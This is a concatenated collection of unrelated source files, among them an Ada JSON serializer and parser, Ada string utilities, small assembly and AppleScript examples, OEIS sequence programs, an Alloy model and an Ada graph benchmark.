when Ada.Characters.Latin_1.BS =>
Stream.Write ("\b");
when Ada.Characters.Latin_1.VT =>
Stream.Write ("\f");
when Ada.Characters.Latin_1.LF =>
Stream.Write ("\n");
when Ada.Characters.Latin_1.CR =>
Stream.Write ("\r");
when Ada.Characters.Latin_1.HT =>
Stream.Write ("\t");
when others =>
Util.Streams.Texts.TR.To_Hex (Stream.Stream.all, C);
end case;
end if;
end;
end loop;
Stream.Write ('"');
end Write_String;
-- -----------------------
-- Write the value as a JSON string. Special characters are escaped using the JSON
-- escape rules.
-- -----------------------
procedure Write_Wide_String (Stream : in out Output_Stream;
Value : in Wide_Wide_String) is
begin
Stream.Write ('"');
for I in Value'Range loop
declare
C : constant Wide_Wide_Character := Value (I);
begin
if C = '"' then
Stream.Write ("\""");
elsif C = '\' then
Stream.Write ("\\");
elsif Wide_Wide_Character'Pos (C) >= 16#20# then
Util.Streams.Texts.Write_Char (Stream.Stream.all, C);
else
case C is
when Ada.Characters.Wide_Wide_Latin_1.BS =>
Stream.Write ("\b");
when Ada.Characters.Wide_Wide_Latin_1.VT =>
Stream.Write ("\f");
when Ada.Characters.Wide_Wide_Latin_1.LF =>
Stream.Write ("\n");
when Ada.Characters.Wide_Wide_Latin_1.CR =>
Stream.Write ("\r");
when Ada.Characters.Wide_Wide_Latin_1.HT =>
Stream.Write ("\t");
when others =>
Util.Streams.Texts.WTR.To_Hex (Stream.Stream.all, C);
end case;
end if;
end;
end loop;
Stream.Write ('"');
end Write_Wide_String;
procedure Write_Field_Name (Stream : in out Output_Stream;
Name : in String) is
Current : constant access Node_Info := Node_Info_Stack.Current (Stream.Stack);
begin
if Current /= null then
if Current.Has_Fields then
Stream.Write (',');
elsif Name'Length > 0 or else not Current.Is_Root then
Current.Has_Fields := True;
end if;
end if;
if Name'Length > 0 and then (Current = null or else not Current.Is_Array) then
Stream.Write_String (Name);
Stream.Write (':');
end if;
end Write_Field_Name;
-- -----------------------
-- Start writing an object identified by the given name
-- -----------------------
procedure Start_Entity (Stream : in out Output_Stream;
Name : in String) is
Current : access Node_Info := Node_Info_Stack.Current (Stream.Stack);
begin
if Current /= null and then Current.Is_Root then
if Name'Length > 0 then
Stream.Write ('{');
Stream.Write_Field_Name (Name);
Current.Has_Fields := True;
end if;
else
Stream.Write_Field_Name (Name);
end if;
Node_Info_Stack.Push (Stream.Stack);
Current := Node_Info_Stack.Current (Stream.Stack);
Current.Has_Fields := False;
Current.Is_Array := False;
Current.Is_Root := False;
Stream.Write ('{');
end Start_Entity;
-- -----------------------
-- Finish writing an object identified by the given name
-- -----------------------
procedure End_Entity (Stream : in out Output_Stream;
Name : in String) is
pragma Unreferenced (Name);
begin
Node_Info_Stack.Pop (Stream.Stack);
Stream.Write ('}');
end End_Entity;
-- -----------------------
-- Write the attribute name/value pair.
-- -----------------------
overriding
procedure Write_Attribute (Stream : in out Output_Stream;
Name : in String;
Value : in String) is
begin
Stream.Write_Field_Name (Name);
Stream.Write_String (Value);
end Write_Attribute;
overriding
procedure Write_Wide_Attribute (Stream : in out Output_Stream;
Name : in String;
Value : in Wide_Wide_String) is
begin
Stream.Write_Field_Name (Name);
Stream.Write_Wide_String (Value);
end Write_Wide_Attribute;
overriding
procedure Write_Attribute (Stream : in out Output_Stream;
Name : in String;
Value : in Integer) is
begin
Stream.Write_Field_Name (Name);
Stream.Write (Integer'Image (Value));
end Write_Attribute;
overriding
procedure Write_Attribute (Stream : in out Output_Stream;
Name : in String;
Value : in Boolean) is
begin
Stream.Write_Field_Name (Name);
if Value then
Stream.Write ("true");
else
Stream.Write ("false");
end if;
end Write_Attribute;
-- -----------------------
-- Write an attribute member from the current object
-- -----------------------
procedure Write_Attribute (Stream : in out Output_Stream;
Name : in String;
Value : in Util.Beans.Objects.Object) is
use Util.Beans.Objects;
begin
Stream.Write_Field_Name (Name);
case Util.Beans.Objects.Get_Type (Value) is
when TYPE_NULL =>
Stream.Write ("null");
when TYPE_BOOLEAN =>
if Util.Beans.Objects.To_Boolean (Value) then
Stream.Write ("true");
else
Stream.Write ("false");
end if;
when TYPE_INTEGER =>
Stream.Stream.Write (Util.Beans.Objects.To_Long_Long_Integer (Value));
when others =>
Stream.Write_String (Util.Beans.Objects.To_String (Value));
end case;
end Write_Attribute;
-- -----------------------
-- Write the attribute with a null value.
-- -----------------------
overriding
procedure Write_Null_Attribute (Stream : in out Output_Stream;
Name : in String) is
begin
Stream.Write_Field_Name (Name);
Stream.Write ("null");
end Write_Null_Attribute;
-- -----------------------
-- Write an object value as an entity
-- -----------------------
procedure Write_Entity (Stream : in out Output_Stream;
Name : in String;
Value : in Util.Beans.Objects.Object) is
use Util.Beans.Objects;
begin
case Util.Beans.Objects.Get_Type (Value) is
when TYPE_NULL =>
Stream.Write_Field_Name (Name);
Stream.Write ("null");
when TYPE_BOOLEAN =>
Stream.Write_Field_Name (Name);
if Util.Beans.Objects.To_Boolean (Value) then
Stream.Write ("true");
else
Stream.Write ("false");
end if;
when TYPE_INTEGER =>
Stream.Write_Field_Name (Name);
Stream.Stream.Write (Util.Beans.Objects.To_Long_Long_Integer (Value));
when TYPE_FLOAT =>
Stream.Write_Field_Name (Name);
Stream.Stream.Write
(Long_Long_Float'Image (Util.Beans.Objects.To_Long_Long_Float (Value)));
when TYPE_BEAN | TYPE_ARRAY =>
if Is_Array (Value) then
Stream.Start_Array (Name);
declare
Count : constant Natural := Util.Beans.Objects.Get_Count (Value);
begin
for I in 1 .. Count loop
Stream.Write_Entity ("", Util.Beans.Objects.Get_Value (Value, I));
end loop;
end;
Stream.End_Array (Name);
else
declare
procedure Process (Name : in String; Item : in Object);
procedure Process (Name : in String; Item : in Object) is
begin
Stream.Write (ASCII.LF);
if Name'Length = 0 then
Stream.Write (""""":");
end if;
Stream.Write_Entity (Name, Item);
end Process;
begin
Stream.Start_Entity (Name);
Util.Beans.Objects.Maps.Iterate (Value, Process'Access);
Stream.End_Entity (Name);
end;
end if;
when others =>
Stream.Write_Field_Name (Name);
Stream.Write_String (Util.Beans.Objects.To_String (Value));
end case;
end Write_Entity;
-- -----------------------
-- Write a JSON name/value pair (see Write_Attribute).
-- -----------------------
overriding
procedure Write_Entity (Stream : in out Output_Stream;
Name : in String;
Value : in String) is
begin
Stream.Write_Attribute (Name, Value);
end Write_Entity;
overriding
procedure Write_Wide_Entity (Stream : in out Output_Stream;
Name : in String;
Value : in Wide_Wide_String) is
begin
Stream.Write_Wide_Attribute (Name, Value);
end Write_Wide_Entity;
-- -----------------------
-- Write a JSON name/value pair (see Write_Attribute).
-- -----------------------
overriding
procedure Write_Entity (Stream : in out Output_Stream;
Name : in String;
Value : in Integer) is
begin
Stream.Write_Attribute (Name, Value);
end Write_Entity;
overriding
procedure Write_Entity (Stream : in out Output_Stream;
Name : in String;
Value : in Ada.Calendar.Time) is
begin
Stream.Write_Entity (Name, Util.Dates.ISO8601.Image (Value, Util.Dates.ISO8601.SUBSECOND));
end Write_Entity;
-- -----------------------
-- Write an entity with a null value.
-- -----------------------
overriding
procedure Write_Null_Entity (Stream : in out Output_Stream;
Name : in String) is
begin
Stream.Write_Null_Attribute (Name);
end Write_Null_Entity;
overriding
procedure Write_Entity (Stream : in out Output_Stream;
Name : in String;
Value : in Boolean) is
begin
Stream.Write_Attribute (Name, Value);
end Write_Entity;
overriding
procedure Write_Long_Entity (Stream : in out Output_Stream;
Name : in String;
Value : in Long_Long_Integer) is
begin
Stream.Write_Field_Name (Name);
Stream.Write (Long_Long_Integer'Image (Value));
end Write_Long_Entity;
overriding
procedure Write_Enum_Entity (Stream : in out Output_Stream;
Name : in String;
Value : in String) is
begin
Stream.Write_Entity (Name, Value);
end Write_Enum_Entity;
-- -----------------------
-- Start an array that will contain the specified number of elements
-- Example: "list": [
-- -----------------------
overriding
procedure Start_Array (Stream : in out Output_Stream;
Name : in String) is
Current : access Node_Info := Node_Info_Stack.Current (Stream.Stack);
begin
if Current /= null then
if Current.Has_Fields then
Stream.Write (',');
elsif not Current.Is_Root then
Current.Has_Fields := True;
elsif Name'Length > 0 then
Stream.Write ('{');
Current.Has_Fields := True;
else
Current.Is_Array := True;
Current.Has_Fields := True;
end if;
end if;
Node_Info_Stack.Push (Stream.Stack);
Current := Node_Info_Stack.Current (Stream.Stack);
Current.Has_Fields := False;
Current.Is_Array := True;
Current.Is_Root := False;
if Name'Length > 0 then
Stream.Write_String (Name);
Stream.Write (':');
end if;
Stream.Write ('[');
end Start_Array;
-- -----------------------
-- Finishes an array
-- -----------------------
overriding
procedure End_Array (Stream : in out Output_Stream;
Name : in String) is
pragma Unreferenced (Name);
begin
Node_Info_Stack.Pop (Stream.Stack);
Stream.Write (']');
end End_Array;
-- -----------------------
-- Get the current location (file and line) to report an error message.
-- -----------------------
function Get_Location (Handler : in Parser) return String is
begin
return Util.Strings.Image (Handler.Line_Number);
end Get_Location;
procedure Parse (Handler : in out Parser;
Stream : in out Util.Streams.Buffered.Input_Buffer_Stream'Class;
Sink : in out Reader'Class) is
-- Put back a token in the buffer.
procedure Put_Back (P : in out Parser'Class;
Token : in Token_Type);
-- Parse the expression buffer to find the next token.
procedure Peek (P : in out Parser'Class;
Token : out Token_Type);
function Hexdigit (C : in Character) return Interfaces.Unsigned_32;
-- Parse a list of members
-- members ::= pair | pair ',' members
-- pair ::= string ':' value
-- value ::= string | number | object | array | true | false | null
procedure Parse_Pairs (P : in out Parser'Class);
-- Parse a value
-- value ::= string | number | object | array | true | false | null
procedure Parse_Value (P : in out Parser'Class;
Name : in String);
-- ------------------------------
-- Parse a list of members
-- members ::= pair | pair ',' members
-- pair ::= string ':' value
-- value ::= string | number | object | array | true | false | null
-- ------------------------------
procedure Parse_Pairs (P : in out Parser'Class) is
Current_Name : Unbounded_String;
Token : Token_Type;
begin
loop
Peek (P, Token);
if Token /= T_STRING then
Put_Back (P, Token);
return;
end if;
Current_Name := P.Token;
Peek (P, Token);
if Token /= T_COLON then
P.Error ("Missing ':'");
end if;
Parse_Value (P, To_String (Current_Name));
Peek (P, Token);
if Token /= T_COMMA then
Put_Back (P, Token);
return;
end if;
end loop;
end Parse_Pairs;
function Hexdigit (C : in Character) return Interfaces.Unsigned_32 is
use type Interfaces.Unsigned_32;
begin
if C >= '0' and C <= '9' then
return Character'Pos (C) - Character'Pos ('0');
elsif C >= 'a' and C <= 'f' then
return Character'Pos (C) - Character'Pos ('a') + 10;
elsif C >= 'A' and C <= 'F' then
return Character'Pos (C) - Character'Pos ('A') + 10;
else
raise Constraint_Error with "Invalid hexdigit: " & C;
end if;
end Hexdigit;
-- ------------------------------
-- Parse a value
-- value ::= string | number | object | array | true | false | null
-- ------------------------------
procedure Parse_Value (P : in out Parser'Class;
Name : in String) is
Token : Token_Type;
Index : Natural;
begin
Peek (P, Token);
case Token is
when T_LEFT_BRACE =>
Sink.Start_Object (Name, P);
Parse_Pairs (P);
Peek (P, Token);
if Token /= T_RIGHT_BRACE then
P.Error ("Missing '}'");
end if;
Sink.Finish_Object (Name, P);
--
when T_LEFT_BRACKET =>
Sink.Start_Array (Name, P);
Peek (P, Token);
Index := 0;
if Token /= T_RIGHT_BRACKET then
Put_Back (P, Token);
loop
Parse_Value (P, Util.Strings.Image (Index));
Peek (P, Token);
exit when Token = T_RIGHT_BRACKET;
if Token /= T_COMMA then
P.Error ("Missing ']'");
exit when Token = T_EOF;
end if;
Index := Index + 1;
end loop;
end if;
Sink.Finish_Array (Name, Index, P);
when T_NULL =>
Sink.Set_Member (Name, Util.Beans.Objects.Null_Object, P);
when T_NUMBER =>
declare
Value : Long_Long_Integer;
begin
Value := Long_Long_Integer'Value (To_String (P.Token));
Sink.Set_Member (Name, Util.Beans.Objects.To_Object (Value), P);
end;
when T_FLOAT =>
declare
Value : Long_Long_Float;
begin
Value := Long_Long_Float'Value (To_String (P.Token));
Sink.Set_Member (Name, Util.Beans.Objects.To_Object (Value), P);
exception
when Constraint_Error =>
P.Error ("Invalid number");
end;
when T_STRING =>
Sink.Set_Member (Name, Util.Beans.Objects.To_Object (P.Token), P);
when T_TRUE =>
Sink.Set_Member (Name, Util.Beans.Objects.To_Object (True), P);
when T_FALSE =>
Sink.Set_Member (Name, Util.Beans.Objects.To_Object (False), P);
when T_EOF =>
P.Error ("End of stream reached");
return;
when others =>
P.Error ("Invalid token");
end case;
end Parse_Value;
-- ------------------------------
-- Put back a token in the buffer.
-- ------------------------------
procedure Put_Back (P : in out Parser'Class;
Token : in Token_Type) is
begin
P.Pending_Token := Token;
end Put_Back;
-- ------------------------------
-- Parse the expression buffer to find the next token.
-- ------------------------------
procedure Peek (P : in out Parser'Class;
Token : out Token_Type) is
use Ada.Characters;
C, C1 : Character;
begin
-- If a token was put back, return it.
if P.Pending_Token /= T_EOF then
Token := P.Pending_Token;
P.Pending_Token := T_EOF;
return;
end if;
if P.Has_Pending_Char then
C := P.Pending_Char;
else
-- Skip white spaces
loop
Stream.Read (Char => C);
if C = Ada.Characters.Latin_1.LF then
P.Line_Number := P.Line_Number + 1;
else
exit when C /= ' '
and C /= Ada.Characters.Latin_1.CR and C /= Ada.Characters.Latin_1.HT;
end if;
end loop;
end if;
P.Has_Pending_Char := False;
-- See what we have and continue parsing.
case C is
-- Literal string using double quotes
-- Collect up to the end of the string and put
-- the result in the parser token result.
when '"' =>
Delete (P.Token, 1, Length (P.Token));
loop
Stream.Read (Char => C1);
if C1 = '\' then
Stream.Read (Char => C1);
case C1 is
when '"' | '\' | '/' =>
null;
when 'b' =>
C1 := Ada.Characters.Latin_1.BS;
when 'f' =>
C1 := Ada.Characters.Latin_1.VT;
when 'n' =>
C1 := Ada.Characters.Latin_1.LF;
when 'r' =>
C1 := Ada.Characters.Latin_1.CR;
when 't' =>
C1 := Ada.Characters.Latin_1.HT;
when 'u' =>
declare
use Interfaces;
C2, C3, C4 : Character;
Val : Interfaces.Unsigned_32;
begin
Stream.Read (Char => C1);
Stream.Read (Char => C2);
Stream.Read (Char => C3);
Stream.Read (Char => C4);
Val := Interfaces.Shift_Left (Hexdigit (C1), 12);
Val := Val + Interfaces.Shift_Left (Hexdigit (C2), 8);
Val := Val + Interfaces.Shift_Left (Hexdigit (C3), 4);
Val := Val + Hexdigit (C4);
-- Encode the value as an UTF-8 string.
if Val >= 16#1000# then
Append (P.Token, Character'Val (16#E0# or Shift_Right (Val, 12)));
Val := Val and 16#0fff#;
Append (P.Token, Character'Val (16#80# or Shift_Right (Val, 6)));
Val := Val and 16#03f#;
C1 := Character'Val (16#80# or Val);
elsif Val >= 16#80# then
Append (P.Token, Character'Val (16#C0# or Shift_Right (Val, 6)));
Val := Val and 16#03f#;
C1 := Character'Val (16#80# or Val);
else
C1 := Character'Val (Val);
end if;
end;
when others =>
P.Error ("Invalid character '" & C1 & "' in \x sequence");
end case;
elsif C1 = C then
Token := T_STRING;
return;
end if;
Append (P.Token, C1);
end loop;
-- Number
when '-' | '0' .. '9' =>
Delete (P.Token, 1, Length (P.Token));
Append (P.Token, C);
Token := T_NUMBER;
begin
loop
Stream.Read (Char => C);
exit when C not in '0' .. '9';
Append (P.Token, C);
end loop;
if C = '.' then
Token := T_FLOAT;
Append (P.Token, C);
loop
Stream.Read (Char => C);
exit when C not in '0' .. '9';
Append (P.Token, C);
end loop;
end if;
if C = 'e' or C = 'E' then
Token := T_FLOAT;
Append (P.Token, C);
Stream.Read (Char => C);
if C = '+' or C = '-' then
Append (P.Token, C);
Stream.Read (Char => C);
end if;
while C in '0' .. '9' loop
Append (P.Token, C);
Stream.Read (Char => C);
end loop;
end if;
if not (C in ' ' | Latin_1.HT | Latin_1.LF | Latin_1.CR) then
P.Has_Pending_Char := True;
P.Pending_Char := C;
end if;
exception
when Ada.IO_Exceptions.Data_Error =>
null;
end;
return;
-- Parse a name composed of letters or digits.
when 'a' .. 'z' | 'A' .. 'Z' =>
Delete (P.Token, 1, Length (P.Token));
Append (P.Token, C);
loop
Stream.Read (Char => C);
exit when not (C in 'a' .. 'z' or C in 'A' .. 'Z'
or C in '0' .. '9' or C = '_');
Append (P.Token, C);
end loop;
-- Putback the last character unless we can ignore it.
if not (C in ' ' | Latin_1.HT | Latin_1.LF | Latin_1.CR) then
P.Has_Pending_Char := True;
P.Pending_Char := C;
end if;
-- and empty eq false ge gt le lt ne not null true
case Element (P.Token, 1) is
when 'n' | 'N' =>
if P.Token = "null" then
Token := T_NULL;
return;
end if;
when 'f' | 'F' =>
if P.Token = "false" then
Token := T_FALSE;
return;
end if;
when 't' | 'T' =>
if P.Token = "true" then
Token := T_TRUE;
return;
end if;
when others =>
null;
end case;
Token := T_UNKNOWN;
return;
when '{' =>
Token := T_LEFT_BRACE;
return;
when '}' =>
Token := T_RIGHT_BRACE;
return;
when '[' =>
Token := T_LEFT_BRACKET;
return;
when ']' =>
Token := T_RIGHT_BRACKET;
return;
when ':' =>
Token := T_COLON;
return;
when ',' =>
Token := T_COMMA;
return;
when others =>
Token := T_UNKNOWN;
return;
end case;
exception
when Ada.IO_Exceptions.Data_Error =>
Token := T_EOF;
return;
end Peek;
begin
Parse_Value (Handler, "");
end Parse;
-- Read a JSON file and return an object.
function Read (Path : in String) return Util.Beans.Objects.Object is
P : Parser;
R : Util.Beans.Objects.Readers.Reader;
begin
P.Parse (Path, R);
if P.Has_Error then
return Util.Beans.Objects.Null_Object;
else
return R.Get_Root;
end if;
end Read;
function Read (Content : in String) return Util.Properties.Manager is
P : Parser;
R : Util.Beans.Objects.Readers.Reader;
begin
P.Parse_String (Content, R);
if P.Has_Error then
return Util.Properties.To_Manager (Util.Beans.Objects.Null_Object);
else
return Util.Properties.To_Manager (R.Get_Root);
end if;
end Read;
end Util.Serialize.IO.JSON;
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/hypot.asm | meesokim/z88dk | 0 | 92305 | <filename>libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/hypot.asm<gh_stars>0
SECTION code_fp_math48
PUBLIC hypot
EXTERN cm48_sccz80_hypot
defc hypot = cm48_sccz80_hypot
|
src/mapcode_utils-str_tools.adb | mapcode-foundation/mapcode-ada | 1 | 9779 | <filename>src/mapcode_utils-str_tools.adb
-- -----------------------------------------------------------------------------
-- Copyright (C) 2003-2019 Stichting Mapcode Foundation (http://www.mapcode.com)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-- -----------------------------------------------------------------------------
-- Various utilities on strings
package body Mapcode_Utils.Str_Tools is
-- Locate the Nth occurence of a fragment within a string,
-- between a given index (first/last if 0) and the end/beginning of the
-- string, searching forward or backward
-- Return the index in Within of the char matching the start of Fragment
-- Return 0 if Index not in Within, if Within or Fragment is empty,
-- or if not found
-- Locate Nth occurence of a fragment within a string,
-- between a given index (first/last if 0) and the end/beginning of string,
-- searching forward or backward
-- Returns index in Within of char matching start of Fragment
-- or 0 if not found or if Within or Fragment is empty
function Locate (Within : String;
Fragment : String;
From_Index : Natural := 0;
Forward : Boolean := True;
Occurence : Positive := 1)
return Natural is
Index : Natural;
Found_Occurence : Natural := 0;
begin
-- Fix Index
Index := (if From_Index = 0 then
(if Forward then Within'First else Within'Last)
else From_Index);
-- Handle limit or incorrect values
if Within'Length = 0
or else Fragment'Length = 0
or else Index not in Within'First .. Within'Last then
return 0;
end if;
if Forward then
for I in Index .. Within'Last - Fragment'Length + 1 loop
if Within(I .. I + Fragment'Length - 1) = Fragment then
Found_Occurence := Found_Occurence + 1;
if Found_Occurence = Occurence then
return I;
end if;
end if;
end loop;
else
for I in reverse Within'First .. Index - Fragment'Length + 1 loop
if Within(I .. I + Fragment'Length - 1) = Fragment then
Found_Occurence := Found_Occurence + 1;
if Found_Occurence = Occurence then
return I;
end if;
end if;
end loop;
end if;
return 0;
exception
when Constraint_Error =>
return 0;
end Locate;
-- Convert a character into upper char
function Upper_Char (Char : Character) return Character is
Offset : constant Integer := Character'Pos('A') - Character'Pos('a');
begin
return (if Char not in 'a' .. 'z' then Char
else Character'Val (Character'Pos(Char) + Offset));
end Upper_Char;
-- Convert a character into lower char
function Lower_Char (Char : Character) return Character is
Offset : constant Integer := Character'Pos('A') - Character'Pos('a');
begin
return (if Char not in 'A' .. 'Z' then Char
else Character'Val (Character'Pos(Char) - Offset));
end Lower_Char;
-- Convert the characters of Str into upper char
function Upper_Str (Str : String) return String is
Result : String := Str;
begin
for C of Result loop
C := Upper_Char (C);
end loop;
return Result;
end Upper_Str;
-- Convert the characters of Str:
-- Any letter that follows a letter is lower char
-- Any other letter (including the first letter) is UPPER char
function Mixed_Str (Str : String) return String is
Result : String := Str;
Prev_Separator : Boolean := True;
begin
for C of Result loop
if Prev_Separator and then C in 'a' .. 'z' then
C := Upper_Char (C);
elsif not Prev_Separator and then C in 'A' .. 'Z' then
C := Lower_Char (C);
end if;
Prev_Separator := C not in 'a' .. 'z'
and then C not in 'A' .. 'Z';
end loop;
return Result;
end Mixed_Str;
end Mapcode_Utils.Str_Tools;
|
Irvine/Examples/ch11/ReadConsole.asm | alieonsido/ASM_TESTING | 0 | 3411 | <filename>Irvine/Examples/ch11/ReadConsole.asm
; Read From the Console (ReadConsole.asm)
; Read a line of input from standard input.
INCLUDE Irvine32.inc
BufSize = 80
.data
buffer BYTE BufSize DUP(?)
stdInHandle HANDLE ?
bytesRead DWORD ?
.code
main PROC
; Get handle to standard input
INVOKE GetStdHandle, STD_INPUT_HANDLE
mov stdInHandle,eax
; Wait for user input
INVOKE ReadConsole, stdInHandle, ADDR buffer,
BufSize, ADDR bytesRead, 0
; Display the buffer
mov esi,OFFSET buffer
mov ecx,bytesRead
mov ebx,TYPE buffer
call DumpMem
exit
main ENDP
END main |
Applications/Safari/windows/number of windows.applescript | looking-for-a-job/applescript-examples | 1 | 4446 | #!/usr/bin/osascript
tell application "Safari"
number of windows
end tell
|
programs/oeis/020/A020914.asm | karttu/loda | 0 | 17861 | <filename>programs/oeis/020/A020914.asm
; A020914: Number of digits in the base-2 representation of 3^n.
; 1,2,4,5,7,8,10,12,13,15,16,18,20,21,23,24,26,27,29,31,32,34,35,37,39,40,42,43,45,46,48,50,51,53,54,56,58,59,61,62,64,65,67,69,70,72,73,75,77,78,80,81,83,85,86,88,89,91,92,94,96,97,99,100,102,104,105,107,108,110,111,113,115,116,118,119,121,123,124,126,127,129,130,132,134,135,137,138,140,142,143,145,146,148,149,151,153,154,156,157,159,161,162,164,165,167,169,170,172,173,175,176,178,180,181,183,184,186,188,189,191,192,194,195,197,199,200,202,203,205,207,208,210,211,213,214,216,218,219,221,222,224,226,227,229,230,232,233,235,237,238,240,241,243,245,246,248,249,251,253,254,256,257,259,260,262,264,265,267,268,270,272,273,275,276,278,279,281,283,284,286,287,289,291,292,294,295,297,298,300,302,303,305,306,308,310,311,313,314,316,317,319,321,322,324,325,327,329,330,332,333,335,337,338,340,341,343,344,346,348,349,351,352,354,356,357,359,360,362,363,365,367,368,370,371,373,375,376,378,379,381,382,384,386,387,389,390,392,394,395
mul $0,84
mov $1,$0
div $1,53
add $1,1
|
org.alloytools.alloy.diff/misc/multiplicities/tests/v2testSignatureCountv2.als | jringert/alloy-diff | 1 | 2650 | <gh_stars>1-10
module b2
sig Bankv2{
branches: one common
}
sig common{} |
oeis/289/A289831.asm | neoneye/loda-programs | 11 | 82670 | ; A289831: a(n) = A289813(n) + A289814(n).
; Submitted by <NAME>
; 0,1,1,2,3,3,2,3,3,4,5,5,6,7,7,6,7,7,4,5,5,6,7,7,6,7,7,8,9,9,10,11,11,10,11,11,12,13,13,14,15,15,14,15,15,12,13,13,14,15,15,14,15,15,8,9,9,10,11,11,10,11,11,12,13,13,14,15,15,14,15,15,12,13,13,14,15,15,14,15,15,16,17,17,18,19,19,18,19,19,20,21,21,22,23,23,22,23,23,20
mov $1,2
lpb $0
mul $1,2
lpb $0
dif $0,3
mul $1,2
lpe
div $0,3
add $2,$1
lpe
mov $0,$2
div $0,4
|
scripts/Batch Cue Edits/Move number to name.applescript | samschloegel/qlab-scripts | 8 | 577 | <gh_stars>1-10
-- For help, bug reports, or feature suggestions, please visit https://github.com/samschloegel/qlab-scripts
-- Built for QLab 4. v211121-01
tell application id "com.figure53.QLab.4" to tell front workspace
set theSelection to (selected as list)
repeat with eachCue in theSelection
if q number of eachCue is not "" then
set q name of eachCue to ((q number of eachCue) & " " & (q list name of eachCue))
end if
set q number of eachCue to ""
end repeat
end tell |
smsq/java/driver/snd/cnam.asm | olifink/smsqe | 0 | 99797 | ; Setup name of SOUND Channel V1.00 (c) <NAME>
; v. 1.00 2014 Jan 16 copyright
; based on Setup name of NUL Channel V2.00 1996 <NAME>
section sound
xdef snd_cnam
include 'dev8_keys_err'
;+++
; Set up sound channel name in (a1)
;---
snd_cnam
move.w d2,d4
subq.w #8,d4 ; space for name
ble.s ncn_ipar ; none
move.w #6,(a1)
move.l #'SOUN',2(a1) ; put in name
move.b #'D',6(a1)
move.b $20(a0),d1 ; and device type
add.b #'0',d1
move.b d1,7(a1)
moveq #0,d0
rts
ncn_ipar
moveq #err.ipar,d0
rts
end
|
src/lib/fread.asm | zys1310992814/BookOSv0.2 | 3 | 84688 | [bits 32]
[section .text]
INT_VECTOR_SYS_CALL equ 0x80
_NR_FREAD EQU 12
global fread
fread:
mov eax, _NR_FREAD
mov ebx, [esp + 4]
mov ecx, [esp + 8]
mov edx, [esp + 12]
int INT_VECTOR_SYS_CALL
ret |
oeis/216/A216757.asm | neoneye/loda-programs | 11 | 105451 | ; A216757: a(n) = 6*a(n-1) - 9*a(n-2) + 3*a(n-3).
; Submitted by <NAME>
; 0,-3,-15,-63,-252,-990,-3861,-15012,-58293,-226233,-877797,-3405564,-13211910,-51254775,-198838152,-771371667,-2992450959,-11608875207,-45035307612,-174709321686,-677764787229,-2629310751036,-10200109386213,-39570153919641,-153507871295037,-595516170652092,-2310236644016142,-8962297942113135,-34768206368489808,-134879266663969059,-523248636493745487,-2029883038092220815,-7874698300101522684,-30548988367260385230,-118511294616925269669,-459750967296512718996,-1783551117328530042645
mov $1,1
lpb $0
sub $0,1
add $3,$1
sub $4,$1
sub $1,$4
add $1,$3
sub $2,5
add $4,5
add $2,$4
mov $4,$2
lpe
mov $0,$4
mul $0,3
|
02-Tooling/01-window-list.applescript | Rolias/discover-applescript | 0 | 4007 | <filename>02-Tooling/01-window-list.applescript
tell application "System Preferences"
set AppleScript's text item delimiters to linefeed
set nameList to the name of every window
log "?? list " &linefeed & nameList
set firstWindow to the name of window 1
log "The first ?? is " & firstWindow
end tell |
programs/oeis/212/A212247.asm | neoneye/loda | 22 | 175653 | <filename>programs/oeis/212/A212247.asm
; A212247: Number of (w,x,y,z) with all terms in {1,...,n} and 3w=x+y+z+n.
; 0,1,4,13,29,56,95,150,222,315,430,571,739,938,1169,1436,1740,2085,2472,2905,3385,3916,4499,5138,5834,6591,7410,8295,9247,10270,11365,12536,13784,15113,16524,18021,19605,21280,23047,24910,26870,28931
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
mov $4,$0
mov $6,$0
mov $7,0
lpb $4
mov $0,$6
sub $4,1
sub $0,$4
mov $5,$0
sub $0,1
seq $0,168237 ; a(n) = (6*n + 3*(-1)^n - 3)/4.
add $5,$0
add $7,$5
lpe
add $1,$7
lpe
mov $0,$1
|
Task/Start-from-a-main-routine/Ada/start-from-a-main-routine.ada | LaudateCorpus1/RosettaCodeData | 1 | 21781 | with Ada.Text_IO;
procedure Foo is
begin
Ada.Text_IO.Put_Line("Bar");
end Foo;
|
unused/benchmark/benchmark_s_graph_1.adb | skill-lang/skillAdaTestSuite | 1 | 12269 | with Ada.Numerics.Discrete_Random;
with Ada.Streams.Stream_IO;
with Ada.Text_IO;
with Ada.Unchecked_Deallocation;
with Hashing;
with Ada.Containers.Vectors;
package body Benchmark_S_Graph_1 is
package Skill renames Graph_1.Api;
use Graph_1;
use Skill;
type State_Type is access Skill_State;
State : State_Type;
procedure Create (N : Integer; File_Name : String) is
function Hash is new Hashing.Discrete_Hash (Integer);
type Objects_Type is array (0 .. N-1) of Node_Type_Access;
type Objects_Type_Access is access Objects_Type;
Objects : Objects_Type_Access := new Objects_Type;
procedure Free is new Ada.Unchecked_Deallocation (Objects_Type, Objects_Type_Access);
begin
State := new Skill_State;
Skill.Create (State);
for I in 0 .. N-1 loop
Objects (I) := New_Node (State, null, null, null, null);
end loop;
for I in 0 .. N-1 loop
declare
X : Node_Type_Access := Objects (I);
A : Integer := Integer (Hash (N + I, 13371)) mod N;
B : Integer := Integer (Hash (N + I, 13372)) mod N;
C : Integer := Integer (Hash (N + I, 13373)) mod N;
D : Integer := Integer (Hash (N + I, 13374)) mod N;
begin
-- Ada.Text_IO.Put_Line (A'Img & B'Img & C'Img & D'Img);
X.Set_North (Objects (A));
X.Set_East (Objects (B));
X.Set_South (Objects (C));
X.Set_West (Objects (D));
end;
end loop;
Free (Objects);
end Create;
procedure Write (N : Integer; File_Name : String) is
package ASS_IO renames Ada.Streams.Stream_IO;
File : ASS_IO.File_Type;
Stream : ASS_IO.Stream_Access;
procedure Free is new Ada.Unchecked_Deallocation (Node_Type_Array, Node_Type_Accesses);
Objects : Node_Type_Accesses := Skill.Get_Nodes (State);
begin
ASS_IO.Create (File, ASS_IO.Out_File, File_Name);
Stream := ASS_IO.Stream (File);
for I in Objects'Range loop
Node_Type'Write (Stream, Objects (I).all);
end loop;
ASS_IO.Close (File);
Free (Objects);
end Write;
